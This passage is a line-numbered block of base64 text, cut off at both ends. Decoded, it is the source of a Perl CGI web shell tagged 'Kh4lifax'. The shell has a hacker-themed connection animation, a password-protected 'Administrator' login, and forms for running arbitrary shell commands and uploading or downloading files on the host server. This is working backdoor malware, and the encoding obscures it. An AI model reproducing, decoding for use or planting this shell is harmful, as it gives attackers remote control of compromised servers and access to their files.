  1429. KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0
  1430. aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZh
  1431. bHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAg
  1432. ICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAg
  1433. ICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVm
  1434. ZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlz
  1435. LmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxz
  1436. ZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5j
  1437. dXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJy
  1438. ZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIg
  1439. PCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5j
  1440. dGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIi
  1441. KTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVs
  1442. ZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0
  1443. aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5j
  1444. dXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhp
  1445. cy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxl
  1446. PSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5LaDRsaWZheDwvZm9udD48YnI+
  1447. PGJyPgo8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNjAwIiBoZWlnaD4K
  1448. PHRib2R5Pjx0cj4KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJv
  1449. eC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJt
  1450. YXJnaW4tbGVmdDogM3B4OyI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj4gUGxlYXNlIFdhaXQgLiAu
  1451. IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g
  1452. LiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPgoKPGZvbnQgY29sb3I9IiMwMDk5
  1453. MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu
  1454. IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cjxmb250
  1455. IGNvbG9yPSIjRjAwMDAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+flwkPC9mb250PiBDb25uZWN0
  1456. ZWQgISA8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYw
  1457. MDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAu
  1458. IC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj48
  1459. Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBUcnlpbmcgY29ubmVjdCB0
  1460. byBDb21tYW5kIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cgo8Zm9udCBjb2xvcj0i
  1461. I0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25u
  1462. ZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNv
  1463. bG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48Zm9udCBjb2xvcj0iI0YwMDAwMCI+XCQ8L2ZvbnQ+
  1464. PC9mb250PiBPSyEgWW91IGNhbiBraWxsIGl0ITwvZm9udD4KPC90cj4KPC90Ym9keT48L3RhYmxl
  1465. Pgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRv
  1466. Y3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0g
  1467. bmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07
  1468. IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CgojLS0tLS0tLS0tLS0t
  1469. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1470. LS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1471. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1472. CnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMv
  1473. Ji8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9n
  1474. OwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRl
  1475. eHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1476. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0t
  1477. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1478. LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7Cglt
  1479. eSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7
  1480. Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAk
  1481. cGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRf
  1482. LiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4i
  1483. LiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0t
  1484. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1485. LS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEg
  1486. ZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1487. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRN
  1488. ZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8YnI+TG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgoKUGFz
  1489. c3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0t
  1490. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1491. LS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0t
  1492. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1493. LS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1l
  1494. PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9
  1495. ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJy
  1496. PgpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9
  1497. InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CgojLS0t
  1498. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1499. LS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UK
  1500. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1501. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+
  1502. PGZvbnQgY29sb3I9cmVkPm8tLS1bICA8Zm9udCBjb2xvcj0jZmY5OTAwPkVkaXQgYnkgJEVkaXRQ
  1503. ZXJzaW9uIDwvZm9udD4gIF0tLS1vPC9mb250PjwvY29kZT48L2NlbnRlcj48L2JvZHk+PC9odG1s
  1504. PiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1505. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBh
  1506. bGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlh
  1507. YmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1508. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsK
  1509. CUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNo
  1510. ICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29v
  1511. a2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0t
  1512. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1513. LQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0t
  1514. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1515. LS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIkNvbm5lY3Rpb24gY2xv
  1516. c2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1517. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K
  1518. IyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluCiMt
  1519. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1520. LS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dvdXQKewoJcHJpbnQgIlNldC1Db29r
  1521. aWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQoJJlByaW50UGFnZUhl
  1522. YWRlcigicCIpOwoJJlByaW50TG9nb3V0U2NyZWVuOwoKCSZQcmludExvZ2luU2NyZWVuOwoJJlBy
  1523. aW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKCWV4aXQ7Cn0KCiMtLS0tLS0tLS0tLS0t
  1524. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1525. LS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYg
  1526. dGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRo
  1527. ZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBv
  1528. ciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxv
  1529. d3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1530. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3Jt
  1531. TG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRj
  1532. aGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsK
  1533. CQkmUHJpbnRQYWdlSGVhZGVyOwoJCXByaW50ICZMaXN0RGlyOwoJfQoJZWxzZSAjIHBhc3N3b3Jk
  1534. IGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNj
  1535. cmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRl
  1536. cmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgoJCX0KCQkmUHJpbnRMb2dpbkZv
  1537. cm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0t
  1538. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1539. LS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIg
  1540. Y29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1541. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0
  1542. Rm9ybQp7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13
  1543. ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21w
  1544. dCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAk
  1545. U2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJm
  1546. IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJo
  1547. aWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
  1548. bWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNp
  1549. emU9IjUwIiBuYW1lPSJjIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1
  1550. ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1551. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRz
  1552. IHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0t
  1553. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1554. LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCW15ICRkaXIg
  1555. PSAmQWRkTGlua0RpcigiZG93bmxvYWQiKTsgCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAi
  1556. IDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBu
  1557. YW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5
  1558. cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9Imhp
  1559. ZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+
  1560. CkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9
  1561. IjM1Ij48YnI+PGJyPgpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1p
  1562. dCIgdmFsdWU9IkJlZ2luIj4KCjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1563. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K
  1564. IyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmls
  1565. ZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1566. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CglteSAk
  1567. ZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAi
  1568. IDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBu
  1569. YW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlv
  1570. bj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlu
  1571. cHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4K
  1572. T3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZh
  1573. bHVlPSJvdmVyd3JpdGUiPgo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwv
  1574. bGFiZWw+PGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3Vi
  1575. bWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
  1576. bWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJo
  1577. aWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgoKPC9mb3JtPgoKRU5ECn0KCiMtLS0tLS0t
  1578. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1579. LS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0
  1580. IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0
  1581. IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMK
  1582. IyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0t
  1583. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1584. LS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxh
  1585. cm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93
  1586. PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlv
  1587. biBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBp
  1588. dCE8L2ZvbnQ+CkVORAoJfQp9CgoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1589. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0
  1590. aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0
  1591. aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBj
  1592. b250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2Fk
  1593. IGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9m
  1594. IHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1595. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJp
  1596. bnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0i
  1597. IjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRo
  1598. ZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9
  1599. fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGlu
  1600. ayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1s
  1601. TWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBV
  1602. Ukw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQg
  1603. Lj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25s
  1604. b2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsi
  1605. PkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZv
  1606. cm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVk
  1607. IHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxv
  1608. YWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1609. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU
  1610. aGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBz
  1611. ZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5
  1612. IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUg
  1613. ZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1614. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJv
  1615. d3Nlcgp7CglteSAkcmVzdWx0ID0gIiI7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVu
  1616. KFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYo
  1617. JFdpbk5UKQoJCXsKCQkJYmlubW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9
  1618. CgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5k
